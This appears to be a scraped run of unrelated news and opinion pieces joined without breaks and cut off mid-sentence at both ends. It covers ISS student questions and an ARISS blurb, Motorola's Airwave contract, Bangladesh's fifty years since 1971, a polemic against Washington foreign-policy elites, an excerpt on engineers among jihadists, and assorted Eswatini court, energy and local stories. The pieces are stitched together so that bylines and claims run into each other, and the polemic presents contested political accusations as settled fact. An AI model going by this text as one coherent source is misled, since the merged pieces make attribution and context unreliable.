long does it take to get used to weightlessness? 3. What was the reaction of your family as you told them that you will go to space? 4. How do you find small holes or cracks in the outside wall of the space station? 5. What is the noise level on the ISS?? 6. How do you dispose your rubbish? 7. Which (legal) laws are on ISS? 8. Are the simulations for preparation on Earth comparable to the actual mission? 9. Do you have mobile phone network coverage on the ISS? 10. What was the first noticeable change in space? 11. How are disputes solved on ISS? 12. Did you have to intervene on the flight to the ISS? 13. How much free time do you have for yourself personally? 14. Does the food taste different? 15. Do the moon and stars look different from the ISS than from Earth? 16. What has been your most exciting job so far? 17. Is the relationship between the ISS team members strictly work related or are there friendships? 18. How would you advise a student who wants to become an astronaut? 19. What does it smell like on the ISS? 20. What personal items did you bring with you? ARISS Celebrating 20 Years of Continuous Amateur Radio Operations on the ISS About ARISS: Amateur Radio on the International Space Station (ARISS) is a cooperative venture of international amateur radio societies and the space agencies that support the International Space Station (ISS). In the United States, sponsors are the Radio Amateur Satellite Corporation (AMSAT), the American Radio Relay League (ARRL), the ISS National Lab-Space Station Explorers, and NASAs Space communications and Navigation program. The primary goal of ARISS is to promote exploration of science, technology, engineering, the arts, and mathematics topics. ARISS does this by organizing scheduled contacts via amateur radio between crew members aboard the ISS and students. Before and during these radio contacts, students, educators, parents, and communities take part in hands-on learning activities tied to space, space technologies, and amateur radio. For more information, see www.ariss.org. Media Contact: Dave Jordan, AA4KN ARISS PR Like us on Facebook. Follow us on Twitter. Search on Amateur Radio on the ISS and @ARISS_status. Check out ARISS on Youtube.com Motorola CEO says 4-year extension of Airwave likely, discusses U.K. investigation details Motorola Solutions CEO Greg Brown discussed an extension for its Airwave contract with the U.K. Home Office and a U.K. investigation into its dual roles in Airwave network and the Emergency Services Network (ESN) project during an appearance at the Credit Suisse conference November 30. So, the Airwave contract runs through all of next year, Brown said. The customer has indicated they want a four-year extension. We will work with them, of course, on extending that four years. Airwave currently provides critical communications services to first responders around the U.K. The ESN is intended to take the place of the Airwave network to provide next-generation communications for the U.K. emergency services, but has experienced major delays. In 2016, Motorola was named a supplier on the ESN project and two months later bought the Airwave network. At the time, the U.K.s Competition and Markets Authority (CMA) approved Motorolas purchase of the Airwave network because of the impending transition from the Airwave network to the ESN, which was expected to occur in 2019. However, earlier this year, because of the continued delays in the ESN transition, the CMA launched a consultative review into Motorolas roles as both the owner of the Airwave network and a supplier on the ESN project. Following that review, the CMA decided to launch a third-party investigation into the matter. The CMA expressed concern that because of its roles in both projects, Motorola would have an incentive to delay the ESN project to increase it profits. Read the full RadioResource Media Group article: https://www.rrmediagroup.com/News/NewsDetails/newsID/21189 A nation that was ravaged with war, natural calamities and underwent phases of political instability has emerged five decades later, as a strong and far more resilient than it was ever imagined during the early decades of 1970s. by Dr Sreeradha Datta 16 December 1971 is a historic day for Bangladesh. This day has been celebrated as the Victory Day to mark the defeat of the Pakistani forces and its emergence as an independent Bangladesh. This year is especially significant as it marks the golden jubilee year of that momentous event. The 1971 Liberation War of Bangladesh continues to evoke high emotions embedded in the determination and sacrifice by men and women who withstood in the face of huge repression and genocide of humungous proportions perpetrated by West Pakistan on its Eastern wing. A number of factors ranging from cultural, political and economic caused deep resentment within East Pakistan given the various unfair policies and practices that were followed by West Pakistan. The final straw, however, was the denial of the outcome of the elections of 1970, in which the Awami League (under Bangabandhu Sheikh Mujibur Rahman) won a clear majority in the parliament. Indeed the road towards separation began when the session of the assembly, scheduled to be held on 3 March 1971, was postponed. This created a series of impasses and no substantive political steps were taken to resolve them leading to a sequence of events that would eventually redraw the map of Pakistan for Bangladesh to emerge as an independent nation. Instead, military crackdown began on 25 March 1971 saw a brutal and genocidal military campaign on the Bengali population that left thousands dead and forcing millions to flee the borders into India. A nation that was ravaged with war, natural calamities and underwent phases of political instability has emerged five decades later, as a strong and far more resilient than it was ever imagined during the early decades of 1970s. Examining it through the lens of economy, its achievements have been tremendous and it has been described as land of impossible attainments. While Bangladesh with passage of time has recorded significant improvement in its human development indicators and in some instances scoring better than many of its neighbours, it also received fulsome praise from the World Bank for lifting a substantial population from abject poverty. It has come a long way since the end of the War of Liberation when the nascent states institutions were in a disarray, its governance systems strained, and it faced an enormous resource crunch. Significantly, Bangladeshs transition to a middle-income country is a remarkable turnaround from what was once termed as a basket economy. The graduation of Bangladesh into a middle-income country is a story of remarkable economic development success. It has over the years and through successive changes in Government, managed to achieve considerable progress in development as well as social welfare parameters. It has been able to improve itself over many of its neighbours. The notable resilience of Bangladesh economy as exhibited by key macroeconomic indicators so far lends strong support to the outlook that Bangladesh may be able to achieve the target of GDP growth of 7 percent with estimates of its reaching 310.00 USD billion by the end of 2021. Per capita incomes are reported at $1750, and the population below poverty line has come down from 56% in 1990-91 to 21.8% in 2018. And according to IMF Bangladesh's per capita gross domestic product (GDP) will be $2,138.794 in 2021. The trebling of its per capita income since 2008 has been no mean achievement. The currency is stable and the last ten years saw a spurt in infrastructure development including rapid growth in its energy sector. It stands at a crossroad of transition from an underdeveloped energy and power sector to a more robust and developed one. Bangladeshs forward stride seems more remarkable in the face of ravages of climate change and rising sea levels that it has been subjected to periodically. The rapid improvement in the energy and transport sector has led to corresponding growth in its readymade garments sector, improving its share to 11 percent of the GDP - through its earning of over US$ 38 billion in the last year and making it globally the third largest after China and Vietnam. Much of what Bangladesh has been able to achieve has been in the background of having to confront issue of environmental challenges and climate change including rising sea levels and resultant shrink in habitable areas. 80% of the land in Bangladesh is less than 12 metres above sea level. According to one estimate, at the present level of population growth and global warming, by 2050 Bangladesh will have 300 million people to in live in just about 120,000 square kilometre area thereby increasing the countrys population density to 2,500 or more per square kilometre. According to some estimates, riverbank erosion displaces more than 100,000 people annually in Bangladesh. The country periodically faces severe flooding and consequentially the impact of climate change would unleash many challenges in Bangladesh, including, issues of relocation and internal migration, unemployment, poverty and many more negatives emanating from this problem. Given the impending threat, Bangladesh has in place the Bangladesh Climate Change Strategy and Action Plan (BCCSAP), identifying six pillars and over forty actions. Also, Bangladesh Climate Change Trust Fund was created to fund the measures to tackle and counter the effects of climate change. These are included in the national, sectoral and local planning processes for achieving comprehensive results. Bangladesh government is engaged in creating awareness and preparedness among public to reduce their susceptibility to adverse effects of extreme climatic change. The measures adopted include, forecasting and early warning system, land use planning and improved relief and rehabilitation mechanism. In recent times, measures to create green belt along the coast of Bay of Bengal and employing volunteers to offset the impact of natural disasters like cyclone and tidal surge was also taken. Bangladesh government at COP26 presented its Mujib Climate Prosperity Plan, in its commitment to ensuring 40% of its energy demand from renewable sources by 2041 -- and to establish a Climate Emergency Pact and National Adaptation Plan.1 The political accomplishments of Bangladesh are significant and substantial too. While it is now recognised as a multiparty democracy, in its early days the nation faced several phases of turbulence. The assassination of Bangabandhu Mujibur Rahman, series of coups and counter coups led to a long spell of authoritarian/military rule. There was also an interregnum period of two years. Except for this phase of nearly two years, periodic elections, transition of power and successful completion of the governments term have lent strength to the democratic parliamentary system in Bangladesh. Its developmental cooperation has expanded with the developed countries including USA, European Union, Japan and Canada to form trade partnership. In solidarity with the Muslim Ummah and economic cooperation within the framework of Organisation of Islamic Cooperation (OIC), Bangladesh has maintained a fraternal relationship with the countries of the Middle East. The foreign policy outreach of Bangladesh has successfully developed and sustained bilateral ties with neighbours and overseas. Apart from many achievements, Bangladesh can boast of the longest serving women leadership. Sheikh Hasina has enjoyed three terms as Prime Minister, a no small achievement for a Muslim majoritarian nation that was founded under very difficult circumstances but has been able to carve out a place for itself in international community. Bangladesh has moved ahead despite many constraints and managed to deliver to an ever-burgeoning middle-income population, attracting substantial foreign direct investment and foreign remittance. There is much to celebrate - overcoming the initial constraints, economic achievements, improvement in social indicators like mortality rate, life expectancy and immunisation have all been remarkable. The economic progress has led to an emerging middle class. Bangladesh is well poised to use its locational advantage and leverage the regional and sub-regional momentum. However, how it manages some of its core governance issues will be critical for its journey ahead. Centre Head & Senior Fellow on Neighbourhood Studies at Vivekananda International Foundation Washingtons legacy media organizations play their part in perpetuating these foreign policies as well by functioning as the permanent bureaucracys echo chamber. by James W. Carden If anything, Washingtons neoconservatives have an unerring instinct for survival. Having brought about multiple disasters in the two decades since 9/11from the Iraq War to the twin debacles in Libya and Syriathe neoconservatives seem to have perfected the art of failing up. Harvard Universitys Stephen Walt once quipped that Being a Neocon Means Never Having to Say Youre Sorry. And in this regard, the story of the Kagan family is instructive. Robert Kagan, a contributing columnist for the Washington Post, a senior fellow at the Brookings Institution, and author of pseudohistories such as The Jungle Grows Back, has for years been a leading advocate of American militarism. His brother, Frederick, is a resident scholar at the neoconservative American Enterprise Institute. Writing in the Hill on December 7, Frederick Kagan claimed that Russian control of Ukraine, would create an existential threat to Poland and even to Romaniaone that could be met only by major deployments of U.S. and European ground and air forces to what could become a new Iron Curtain. He and his wife, Kimberly, who heads the Institute for the Study of Waranother pro-war Washington think tankwere close advisers to the disgraced General and former CIA Director David Petraeus. Indeed, both Frederick and his wife are frequently cited as the brains behind the surge strategy pursued by George W. Bushs administration in 2007-2008. But the most powerful member of the Kagan clan is Victoria Nuland, who is the wife of Robert and is the U.S. undersecretary of state for political affairs. Under Obama, Nuland served as the State Department spokesperson, a position for which she was manifestly overqualified (and that becomes especially clear if one takes the qualifications of the current spokesman into consideration), before assuming the role of the assistant secretary of state for European and Eurasian affairs. It was in this role that Nuland helped orchestrate the overthrow of a democratically elected president of Ukraine, Viktor Yanukovych, in February 2014 that led to a civil war in Ukraine, in which more than 13,000 people have died, according to the United Nations. Part of the reason the U.S. is at grave risk of a war with Russiaand there is precious little debate about the policies that have brought us to this pointis that foreign policy in Washington is conducted by a virtually closed circle. And that circle is dominated by people like the Kagans. Washingtons legacy media organizations play their part in perpetuating these foreign policies as well by functioning as the permanent bureaucracys echo chamber. For proof, look no further than the Washington Post editorial page, which from the very start of the Ukraine crisis has been cavalierly dismissing calls for diplomacy and engagement and, instead, has been calling for outright war. An example of this is the Washington Post view published on their editorial page on August 21, 2014: it is tempting to look for a cease-fire or some kind of time out that would lead to a period of diplomatic negotiation. But what would a pause and diplomacy accomplish? Any negotiations that leave this blight festering in Ukraine must be avoided. The only acceptable solution is for Mr. Putins aggression to be reversed. As Jacob Heilbrunn, the editor of the National Interest, and I commented at the time, Almost as bad as the callousness on display is the lack of candor. At no point did the [Washington] Post actually explain how it would propose to go about reversing Putins aggression. This remains the case even today. At no point do the armchair warriors braying for war with Russia over Ukraine discuss how such a reversal might be carried out, or, even more tellingly, what the odds might be of a successful outcome of a war between the U.S. and Russia. Not much has changed since the start of the Ukrainian crisis nearly eight years ago. Consider for a moment the testimony on Update on U.S.-Russia Policy by Nuland made before the Senate Foreign Relations Committee (SFRC) on December 7. Nuland testified that: We dont know whether Russian President [Vladimir] Putin has made a decision to attack Ukraine or overthrow its government but we do know he is building the capacity to do so. Much of this comes right out of Putins 2014 playbook but this time, it is on a much larger and more lethal scale. So despite our uncertainty about exact intentions and timing, we must prepare for all contingencies, even as we push Russia to reverse course. Nuland went on to note that the U.S. government has given $2.4 billion to Ukraine since 2014 in security assistance, which included $450 million that was given in 2021 alone. What, one wonders, has been the United States return on this massive investment? SFRC Chairman Bob Menendez, who, in 2015, was indicted on federal corruption charges, seems to be under the impression that Russians do not have the overwhelming military advantage on their own border. Likewise, Senator Ben Cardin (D-MD) intoned that a Russian invasion of Ukraine would require us [the U.S.] to escalate. Senator Todd Young (R-IN), meanwhile, pressed Nuland on what measures are being considered by the administration to counter Russian aggression, while Senator Jeanne Shaheen (D-NH) indicated that during her conversations with members of parliament (MP) from Estonia, they spoke about the importance of European unity with respect to Ukraine. Also, the MPs from Estonia along with Poland and other Eastern European countries expressed anxiousness about whether or not to station more troops in the Baltic nations, Senator Shaheen said. The most astute comment of the day came from Senator Ron Johnson (R-WI), who was clearly proud that the committee had achieved a rare bipartisan agreement for a change. He further emphasized that the U.S. stands united in support of Ukraine and against Russia. And Johnson was absolutely correct: The committee was completely united in its desire for conflict over Ukraine, with whom the U.S. has no treaty obligations whatsoever. Indeed, both Nuland and the SFRC seem to see U.S. national interests where none exist. More worrying still, they seem to possess a kind of blind faith in Americas ability, indeed duty, to shape outcomes of conflicts that are taking place thousands of miles from our shores through a combination of sanctions and military threats. The SFRC hearing showed, if nothing else, that American foreign policy is held hostage by a venal, avaricious and, above all, reckless claque of elites: From the members of the SFRC to the high U.S. government officials who testify before them; from the staffers who brief them to the scholars and policy hands on whom the staffers rely; right down to the reporters and journalists who uncritically regurgitate what they are told by their anonymous administration sources. As such, one of the most urgent questions before us is: How do Americans of good conscience finally break their stranglehold on power before its too late? This article was produced by Globetrotter in partnership with the American Committee for U.S.-Russia Accord. James W. Carden is a writing fellow at Globetrotter and a former adviser to the U.S. State Department. Previously, he was a contributing writer on foreign affairs at the Nation, and his work has also appeared in the Quincy Institutes Responsible Statecraft, the American Conservative, Asia Times, and more. Excerpts from the book, Engineers of Jihad: The Curious Connection between Violent Extremism and Education, published by Princeton University Press by Diego Gambetta and Steffen Hertog On Christmas Day 2009, Umar Farouk Abdulmutallab, a twenty-three-year-old Nigerian man, arrived from Ghana into Amsterdams Schiphol airport where he boarded Northwest Airlines Flight 253 to De-troit. As the airplane approached its destination, Abdulmutallab disap-peared for twenty minutes into the lavatory. Back in his seat, he started fumbling around with his underwear. Neighboring passengers saw his trousers on fire and Jasper Schuringa, a Dutch film director, jumped on Abdulmutallab and subdued him, while flight attendants rushed to the scene with a fire extinguisher. The explosive device he had hidden in his pants failed to detonate and Abdulmutallab was arrested. Authorities dis-covered that he had been in contact with Al-Qaida elements in Yemen. Just a year earlier Abdulmutallab had received a degree in mechanical engineering from University College London.Two months before Abdulmutallabs attempt, on 13 October 2009, Mohamed Game, a thirty-seven-year-old Libyan living in Italy, blew him-self up with two kilos of nitrate at the entrance of the Caserma Santa Barbara, an army barracks in Milan. This was the first and thus far only suicide attack attempted in Italy, and Game might have been a lone wolf operator, at most a member of a small local network. Gamewho lost his right hand in the attack and is now serving a fourteen-year sentencehas a degree in electronic engineering.Exactly three months before Games failed attack, on 13 July 2009, a German court sentenced forty-seven-year-old German Pakistani Aleem Nasir to eight years in prison for his role as an Al-Qaida facilitator in Europe. Nasir had been traveling regularly to the tribal areas in Pakistan, supposedly to trade in semiprecious stones but apparently to transfer money to, and coordinate European recruitment for, Islamist militant groups. Nasir is said to have been enlisting a number of German Muslims for jihad, among them German Moroccan Bekkay Harrach, who would become infamousalso in 2009for his videotaped threats of jihad against the German government, apparently recorded in a hideout in Pa-kistan. Nasir holds a degree in mechanical engineering while Harrach had begun college studies of laser technology and mathematics before drop-ping out to take a part-time job in a mosque in Bonn. Apart from being male and of Islamic faith, these four men have little in common. They vary in terms of nationality, age, the Western country with which they had most contact, and even the extremist network they were part of. They also differ in marital status: Game, Nasir, and Harrach had wives and children; Abdulmutallab did not. Their careers vary greatly, too. Nasir had worked at an energy re-search institute in Karlsruhe before being fired for supposed extremist statements, after which he worked as a gem trader. Game, despite his degree, had a history of underemployment and was in debt, while Harrach lived off odd jobs. Abdulmutallab never even began a career, jumping straight from his studies into extremist activities.The only thing they have in common is having studied engineering.As one would expect there are militant Islamist university or college graduates who have not had successful careers after graduation: Faisal Shahzad, the Pakistani man who left an SUV packed with explosives near Times Square in Manhattan on 1 May 2010, is said to have been unemployed and bankrupt at the time of his arrest, though it is not clear whether his progressive radicalization was the effect or the cause of his unemployment. Wadih El-Hage, a Lebanese man who is serving a life sentence in the United States for his involvement in the 1998 bombings of U.S. embassies in Africa, held minimum-wage jobs in the United States as a city custodian and auto mechanic, despite having university training as an urban planner. However, other extremists abandoned successful careers to devote themselves to the cause. Abdul Subhan Qureshi, leader of the Students Islamic Movement of India, who is wanted in India for various attacks, including the ones on the Mumbai trains on 11 July 2006, left his wife, three children, and a thriving occupation. Qureshi joined Radical Solu-tions, a computer firm in South Mumbai, in November 1996. According to his coworkers, Qureshi was an exceptional worker: He handled several major independent projects, including an intranet for Bharat Petro-Chemicals carried out by Wipro in 1999, and then joined Datamatics. In just three years, his salary quadrupled. In a letter dated 26 March 2001 he resigned, stating, I wish to inform you, that I have decided to devote one complete year to pursue religious and spiritual matters. For other extremists their careers mattered less because they came from very privi-leged backgrounds: underpants bomber Abdulmutallab is the youngest of the sixteen children of Alhaji Umaru Mutallab, former chairman of First Bank of Nigeria and former Nigerian Federal Commissioner for Eco-nomic Development, and lived in a luxury apartment in Marylebone while studying for his engineering degree in London. And yet, despite their deeply dissimilar employment histories, Shahzad, El-Hage, and Qureshi all have engineering degrees, just like Abdulmutal-lab and the others. Shahzad enrolled at the University of Bridgeport, where he received a bachelors degree in computer science and engineering in 2000, followed by a masters in business administration in 2005. El-Hage studied urban planning at the University of Southwestern Loui-siana in the 1980s, interrupted by spells of jihadist training in Afghanistan. Qureshi for his part obtained a diploma in industrial electronics [in 1995], and landed a part-time job at String Computers in Mazgaon. Later, in 1996, he went on to earn a specialised software maintenance qualification from the CMS Institute in Marol. Socioeconomic background, age, country of origin or relocation, group of affiliation, employment and family situationall these features vary among the men discussed thus far. The only feature they share is a degree in higher education, in particular a degree in engineering. This is doubly puzzling when set against commonsense expectations. While we readily accept that the dispossessed are natural candidates for extremism, we are at a loss to comprehend why well-off, educated men should join the ranks of jihad. And why would individuals with a technical mind and training in modern technology have a penchant for a movement at once violent, religious, and in many cases, as we will see in chapter, permeated by antiscientific beliefs? At the Origins Evidence of this link is not limited to recent cases. It spans three decades and three continents and appears in connection with notorious attacks. Mohamed Atta (Egyptian) and Khalid Sheik Mohammed (Kuwaiti), leading figures in the 9/11 plot, both studied technical subjects: one urban planning in Hamburg, the other mechanical engineering in the United States. In fact, of the twenty-five individuals directly involved in the 9/11 attacks, eight were engineers. Engineers are, moreover, found right at the beginning of modern Islamist militancy. In 1970s Egypt, three groups considered part of the beginning of modern jihadism had been started or were led by individuals who had a technical education. Al-Takfir wal-Hijra, which was involved in the assassination of a cabinet minister, was founded in 1969 by Shukri Mustafa, an agricultural engineer and former member of the Egyptian Muslim Brotherhood. Shukri was radicalized during his incarceration in the Tura prison and Abu Zabal concentration camp in Egypt. The second groupknown as the Military Academy Group for its violent occupation of the Egyptian Technical Military Academy in April 1974, from where it launched a failed attempt to march on the ruling partys headquarterswas founded in the 1970s by Salih Siriyya, a Palestinian with a doctorate in the teaching of science (Ibrahim 1980; Kepel 1985). Siriyya, too, had been imprisoned. Finally, an electrical en-gineer, Muhammad Abd al-Salam Faraj, played a pivotal role in the group al-Jihad, which was responsible for the assassination of President Sadat in 1981 and became the most notorious successor to the earliest Egyptian groups (Nesser 2004; ICG 2004). Saad Eddin Ibrahim, an Egyptian so-ciologist who was the first to study the early violent Islamists, interviewed thirty-four members of two of these groups, the Military Academy Group and Al-Takfir, who were imprisoned in the late 1970s. Twenty-nine of them were either university graduates or students, and of the twenty-five for whom he reports their area of study, nine were engineers, seven were doctors, five were agronomists, two were pharmacists, two were studying technical military science, and one was studying literature (Ibrahim 1980, 1982).Engineers were also members of radical student groups in Egypt in the 1970s called Gamaat Islamiyya. Ayman al-Zawahiri, who later gained worldwide notoriety as bin Ladens partner and successor at the helm of Al-Qaida, was a member of one of them. Abdallah Schleifer, an American Jew who is now a professor of media studies at the American University in Cairo and converted to Islam in the 1960s, made Zawahiris acquain-tance in 1974 when working for NCB news in Cairo. When they first met, Zawahiri, then at medical school, gave Schleifer a tour of the campus: during the tour, Zawahiri proudly pointed out students who were paint-ing posters for political demonstrations, and he boasted that the Islamist movement had found its greatest recruiting success in the universitys two most elite facultiesthe medical and engineering schools. Arent you im-pressed by that? he said (Wright 2002).Indications of the link between radical Islamism and engineering are also found beyond the Middle East. We have already mentioned Abdul Subhan Qureshi, the Indian computer engineer. Two of the three men who in 1987 founded Lashkar-e-Taiba, a Sunni fundamentalist Pakistani group that fights against Indias sovereignty over the State of Jammu and Kashmir, were professors at the University of Engineering and Technol-ogy of Lahore, albeit not engineers themselves. While appealing to ma-drasa students and the disenfranchised, Jemaah Islamiya in Southeast Asia also recruited many technical faculty members, including archi-tects, engineers, geophysicists, chemists, and robotics engineers (Abuza 2006: 78). The three leading suspects in the September 2004 bombing of the Australian Embassy in Jakarta had an engineering background. Ac-cording to a Tunisian professor of the history of Islam, 60 percent of salafi-jihadists in his country are trained as engineers.While the groups mentioned thus far are made up of Sunnis, the phe-nomenon extends to Shiite Islamists too: engineers were prominently rep-resented in Mahmoud Ahmadinejads radical 2005 cabinet, and the for-mer Iranian president himself trained as a civil engineer. While he is not a militant, his rhetoric as well as his biography reflect radical leanings: he was among the many engineering students at the University of Science and Technology in Teheran who played a very active role in the 1979 Is-lamic revolution. Hezbollah, the Lebanese Shiite group, also has a strong link with engi-neers. Soon after it was founded in 1982, Hezbollah established Jihad al-Binaa (construction jihad), an organizational branch devoted to the reconstruction of civil infrastructure and private housing. According to Hezbollah expert Judith Palmer Harik, this is an interesting organization because it is chock-full of professionalscontractors, engineers, archi-tects, demographic experts. Representatives for Jihad al-Binaa estimate that more than two thousand of their engineers and architects have been involved in the reconstruction of Lebanon since the war with Israel in August 2006, which, considering that the estimated total Shiite male labor force in Lebanon likely lies below three hundred thousand, is a large number indeed. Click here to order your copy of this book Diego Gambetta is professor of social theory at the European University Institute, Florence, and official fellow of Nuffield College at the University of Oxford. His books include The Sicilian Mafia and Codes of the Underworld (Princeton). Steffen Hertog is associate professor of comparative politics at the London School of Economics. He is the author of Princes, Brokers, and Bureaucrats. MBABANE The country has recorded an increase in domestic power generation in the past year. Coupled with a decline in domestic demand, this resulted in a reduction in electricity imports (from ESKOM South Africa and Mozambique). This in turn decreased by approximately 10.9 per cent to record 930.4 Gigawatt hours (GWh) in 2020/21. This is as per the 2021 Economic Review Report released by the Central Bank of Eswatini (CBE). The Eswatini Electricity Company (EEC) is said to be continuing to prioritise increasing the countrys power generation capacity in order to reduce the dependency on electricity imports. The medium term outlook for the energy sector is said to be broadly positive in line with developments on prospective projects to raise domestic power generation. Process On projects currently in the pipeline, the procurement process for the 40 Megawatts (MW) Solar PV plant is nearing completion and generation is anticipated to commence by the new year. Additionally, the tendering process for the 40MW Biomass plant was officially launched in August. Last year and generation is anticipated to commence in the year 2023. If all prospective projects are fully implemented, the production capacity for the country would grow beyond the local demand of about 220 MW and will enable the country not only to self sustain itself but also to export some of its power to the region by 2026, highlighted the report. The Eswatini Energy Regulatory Authority (ESERA) also reported to have recently issued a number of other licenses for electricity generation, particularly for solar by domestic companies, as it continues its efforts to accelerate domestic generation in the country. MBABANE - A company from Bulgaria is demanding over E1 million from the Government of the Kingdom of Eswatini. Excelor Holdings Group EAD was contracted by the government to supply and install prefabricated offices for the development of a social protection system in the country. In its particulars of claim, the plaintiff (Excelor Holdings Group EAD) submitted that the High Court had jurisdiction over the matter as the contract was performed in the Kingdom of Eswatini. According to the Excelor Holdings Group, on December 2018 at Mbabane, it was represented by Magdalena Vasileva and the Government of Eswatini by Bertram B Stewart, entered into a written supply contract. The plaintiff submitted that the material express, alternatively tacit terms, included the following; supply, delivery and installation of pre- fabricated offices in different areas in the Kingdom of Eswatini and the contract price for the aforesaid supplies was E4 536 130.00 . It was further the plaintiffs submission that the contract was allegedly made up of inter alia, the contract agreement, special and general conditions. The company narrated that the implementation period of the task was 12 months from the contract signature until the provincial acceptance. Alleged The plaintiff further alleged that on December 13,2019 represented by its then general manager, Vasileva and the first defendant ( Eswatini Government) by Bheki Bhembe entered into an addendum which provided that; the implementation period of the task was 16 months from the contract signature until the provincial acceptance. On March 25, 2020, the plaintiff due to the COVID- 19 pandemic requested an extension of the period of the implementation and this request was not rejected by the Government of the Kingdom of Eswatini, alleged the plaintiff. It was further the plaintiffs submission that instead, the necessity of such an extension was also justified by the Government of the Kingdom of Eswatini on March 28, 2020 wherein it advised the plaintiff that South Africa is already on full lockdown I do not foresee the experts being allowed to Eswatini. The company averred that it allegedly performed its obligations as per the contract by supplying and delivering the pre- fabricated offices to the Eswatini Government within the period of implementation and in accordance with technical specifications. The first defendant, according to plaintiff, was advised of the fulfillment of the contract and it (plaintiff) requested the issuance of the provisional certificate on July 17, 2020. Owing It is alleged by the plaintiff that pursuant to the above, on September 4, 2020 it furnish the first defendant with the invoice of balance owing and the request for the provisional certificate. The Project Manager of the first defendant, having failed to issue a certificate or reject the application for provisional certificate by August 2020 as per Article 31.2 of the general conditions, became liable for the full amount of E2 721 678.00 as same was due and payable, submitted the plaintiff. It is alleged by the plaintiff that the first defendant only made a payment of E1 830 697 on June 10, 2021 and by failing to make full payment of the contract price, breached the contract. The plaintiff avowed that consequently, in terms of Article 28.2 of the general conditions, it was entitled to default interest at rediscount rate applied by the central bank of the partner country which was to be E159 449.50 for the period of November 3,2020 until June 10,2021. The plaintiff attempted to settle the dispute it was having with the first defendant regarding the payment of the balance of contract price. Despite the plaintiff and the first defendant undergoing the conciliation process, the process failed to go ahead as the European Commission stepped down from being the Conciliator, reads part of the plaintiffs particulars of claim. In light of the failure of the conciliation process and in compliance with The Limitation of Legal Proceedings against the Government Act of 1972, on August 12, 2021 the plaintiff severed the Government of the Kingdom of Eswatini with a letter of demand. According to the plaintiff, despite the demand, the Government of the Kingdom of Eswatini allegedly failed, neglected and/or refused to make the payment of the balance of the contract price and the default interest. The company wants the court to direct the government to pay the contract price of E890 981.000 and payment of the default interest amounting to E159 449. 50. The matter is pending in court and appearing for the plaintiff are lawyers from Robinson Bertram. MBABANE Where will you be celebrating your New Years Eve this year? Well, for now the Mega Sound Stable has announced that it will be hosting its first ever All White Crossover Party at Sibebe Resort on December 31, 2021. Given that the curfew has been lifted countrywide, many locals will be praying the current restrictions on gatherings remain the same given that last years festive season was rather quiet with no shows hosted. This attributed to a number of COVID-19 cases and deaths recorded at the time which compelled government to ban gatherings. However, this year will be different as event organisers have been afforded the opportunity to host events and make some money, something which they have wanted to do since government banned events. Abuzz Social media has been abuzz with the announcement of the All White Crossover Affair as there will be only local acts performing on the night, a trend which has been the norm for Mega Sound end of year events from the past years. Speaking to Samkelo Zulu D Zulu, Director and event organiser of note; he confirmed that the crossover party would be held at Sibebe Resort. I can confirm that the first ever all white crossover party will be held at Sibebe Resort. However, we are yet to announce more details in the following week where we will announce performing acts and the DJ line-up. Much like we always do at our events, our loyal and prospective patrons can rest assured that will be a night to remember so I would advise them to secure their tickets as soon as possible, he said. Tickets to the show will cost E150 (pre-sale), E200 at the gate, E350 for VIP (No VIP Tickets at the gate), E600 (squad pass for 5 general) and E1500 (squad pass for 5 VIP). Stalls will be available at E500. For more information, the public can call or WhatsApp 7611 7587 or 7948 4979. MANZINI I just feel like giving up now, says Bishop Vusumuzi Maculuve. The man of the cloth said this yesterday following a street fight he was involved in at Moyeni. He said the festive season had for the past 11 years brought him drama. Maculuve said what happened yesterday was unnecessary and bad such that he requested prayer from all people. In his narration, the clergy man said he had offered a lift to a man he had found waiting with *Sipho, who he ended up being in a fist fight with. He said after offering the lift to the man that he found talking to Sipho, they drove a short distance before the latter supposedly made insinuations against him. The allegations that were levelled against the pastor and gospel artist cannot be repeated as they are defamatory in nature. When he shouted at us, I stopped the vehicle and he (Sipho) came running towards us. As I alighted from the car, he slapped me, Maculuve claimed. This, he said, resulted in him walking back to the car where he pulled out a bush knife. He supposed that he used the bush knife to scare Sipho. However, the man of the cloth claimed that while doing so, Sipho lashed at him which resulted in him, retaliating. This, he claimed, resulted in the pair wrestling on the ground wherein he said some people ended up separating them. Maculuve said: This is saddening such that it has dampened my spirits while on Thursday (tomorrow) is my birthday." He said leading to the celebration of his birthday, there was a revival planned at his church, which is supposed to start today. The revival, he said, was aimed at celebrating the graduation of his spouse, his 43rd birthday and the establishment of his church in Maliyaduma. Meanwhile, Chief Police Information and Communications Officer Superintendent Phindile Vilakati confirmed that a case was opened. She said police were still investigating and no person had been arrested thus far. On the other hand, this is not the first time the man of the cloth has been seen wielding a bush knife. Early in the year, a meme was made mocking him for allegedly pulling a bush knife on a passenger he had offered transport and did not pay. MBABANE MPs Mduduzi Bacede Mabuza and Mthandeni Dube now want the Law Society to facilitate the removal of South African Advocate Gareth Leppan from prosecuting in their matter. The two incarcerated Members of Parliament (MPs) have since written to the Law Society of Swaziland (LSS) wherein they raised a number of concerns about Advocate Leppan. We fail to understand how the same advocate who wrote a memorandum to the Director of Public Prosecutions (DPP) stating that they have no case against us, now works on prosecuting the same case. To us this is pure unethical and lacks integrity. As a matter of fact, is should even be criminal, wrote the MPs. In the letter titled Unethical admission of Advocate Gareth Leppan, they informed the LSS that they brought the matter to it as a lawful institution that deals with the admission of lawyers and advocates who could practise law in the courts of Eswatini. Memorandum In their three-page letter, they highlighted that in a memorandum directed to the DPP dated August 10, 2020, Advocate Leppan stated that having perused available material thus far, it is apparent that there is no source of evidence that proves the case against one or more of the suspects. We are honourable MPs who have little knowledge of the law, but we do from time to time seek clarity from our legal team and others. From where we stand, we understand that for Advocate Leppan to be able to practise in Eswatini, on this case in particular, he must have moved a petition which the Law Society of Swaziland must have not objected to, wrote the MPs. They informed the Law Society that in their opinion, the advocate had been unethically and unlawfully admitted. Dube and Mabuza said as members of the august House, they worked and believed ethics were important and played an integral part when one executed his or her own duties. We therefore write to seek an inquest by the Law Society of Swaziland in this matter. We are further making means to deliver a similar letter to the Pietermaritzburg Society of Advocates in the Republic of South Africa for an investigation of this matter, reads part of the letter by the incarcerated legislators. Mabuza and Dube said they strongly believed that the admission of Advocate Leppan to practise as an advocate in the kingdom should be terminated. They stated that Eswatini cannot be a banana country where people practise merely because they are paid big cheques. They told the Law Society that they believed this would result in bad precedents in the country, which they believed was bad law. Context We would like to put it on record that the case of the State against us is based on context we shared in Parliament and advocated for in public, we are in prison today because of it, wrote Mabuza and Dube. They highlighted that part of Advocates Leppans memorandum to the DPP reads as follows: It would appear that this unrest has its roots in comments and/or speeches made by one or more of the suspects in Parliament, relating to Section 67 of the Constitution. According to the two MPs, this gave them a clear understanding that the Crown was 